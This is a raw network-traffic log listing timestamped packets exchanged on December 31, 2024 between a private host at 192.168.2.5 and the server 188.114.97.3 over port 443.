Dec 31, 2024 09:25:10.536324024 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.536339998 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.536423922 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.536448002 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.536489964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.536891937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.536916971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.536957979 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.536967039 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.536997080 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.537014961 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.537830114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.537846088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.537906885 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.537914991 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.537961960 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.549271107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.549284935 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.549379110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.549392939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.549443007 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.571156979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.571178913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.571274042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.571285009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.571325064 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.571940899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.571955919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.572012901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.572020054 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.572060108 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.595520973 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.595546007 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.595607042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.595621109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.595664024 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.595664024 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.596960068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.596973896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.597029924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.597037077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.597079992 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.623089075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.623100996 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.623187065 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.623203993 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.623251915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.623868942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.623882055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.623943090 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.623949051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.623992920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.624789000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.624802113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.624850035 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.624855995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.624928951 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.636302948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.636317968 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.636387110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.636398077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.636455059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.658133030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.658154011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.658221006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.658233881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.658277988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.682013988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.682029009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.682110071 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.682148933 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.682200909 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.682796955 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.682810068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.682871103 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.682881117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.682924986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.683656931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.683670998 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.683732986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.683743000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.683780909 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.710118055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.710136890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.710220098 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.710233927 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.710273027 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.710874081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.710889101 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.710948944 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.710958004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.711002111 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.711709976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.711724043 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.711761951 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.711769104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.711807013 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.711818933 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.723082066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.723102093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.723186016 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.723198891 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.723263979 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.744932890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.744946957 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.745026112 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.745035887 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.745074987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.768944979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.768959999 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.769026041 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.769036055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.769085884 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.769620895 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.769640923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.769696951 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.769706011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.769748926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.770509958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.770524979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.770565987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.770574093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.770603895 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.770622969 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.796894073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.796907902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.796962976 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.796977043 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.796999931 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.797029018 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.797672033 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.797686100 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.797740936 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.797755003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.797797918 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.798376083 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.798388958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.798443079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.798450947 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.798492908 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.810139894 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.810153961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.810206890 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.810220003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.810250998 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.810261011 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.831912041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.831924915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.831981897 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.831995964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.832036972 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.855936050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.855950117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.856120110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.856149912 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.856225967 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.856663942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.856687069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.856726885 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.856743097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.856761932 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.856777906 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.857567072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.857594013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.857639074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.857647896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.857675076 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.857690096 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.883739948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.883753061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.883826971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.883840084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.883887053 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.884654045 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.884668112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.884730101 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.884738922 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.884793043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.885333061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.885349989 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.885406017 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.885421038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.885472059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.896902084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.896914959 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.896961927 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.896976948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.896994114 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.897008896 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.918873072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.918886900 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.918965101 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.918978930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.919022083 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.943464994 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.943478107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.943563938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.943584919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.943629026 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.944334984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.944346905 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.944397926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.944405079 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.944443941 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.945370913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.945384026 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.945439100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.945447922 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.945487976 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.970577955 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.970592976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.970668077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.970679045 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.970730066 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.971481085 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.971499920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.971565962 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.971573114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.971625090 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.972100973 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.972115040 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.972199917 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.972208023 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.972254038 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.984674931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.984688997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.984792948 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.984802008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.984848976 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.006058931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.006083012 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.006170034 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.006180048 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.006225109 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.029644966 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.029658079 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.029733896 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.029743910 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.029784918 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.030548096 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.030560970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.030616045 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.030623913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.030658960 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.031167984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.031181097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.031235933 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.031243086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.031279087 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.057528019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.057542086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.057611942 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.057645082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.057687044 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.058239937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.058259964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.058311939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.058320045 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.058360100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.059082031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.059094906 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.059145927 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.059153080 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.059187889 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.070662022 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.070674896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.070763111 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.070770979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.070820093 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.092639923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.092654943 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.092847109 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.092854977 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.092895031 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.116695881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.116712093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.116906881 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.116947889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.116992950 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.117486000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.117501020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.117575884 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.117583036 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.117626905 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.118351936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.118366957 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.118452072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.118458986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.118498087 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.144375086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.144388914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.144499063 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.144509077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.144545078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.145260096 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.145273924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.145334959 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.145344019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.145387888 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.146027088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.146040916 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.146091938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.146100044 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.146133900 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.157591105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.157614946 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.157681942 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.157696962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.157737970 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.180450916 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.180464983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.180555105 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.180577040 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.180620909 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.203627110 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.203646898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.203758001 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.203772068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.203815937 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.204381943 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.204396009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.204468966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.204477072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.204521894 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.205343962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.205358982 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.205425024 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.205432892 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.205468893 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.231786966 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.231805086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.231961966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.231988907 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.232036114 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.232438087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.232450008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.232506990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.232515097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.232589006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.244159937 CET	443	49707	188.114.97.3	192.168.2.5
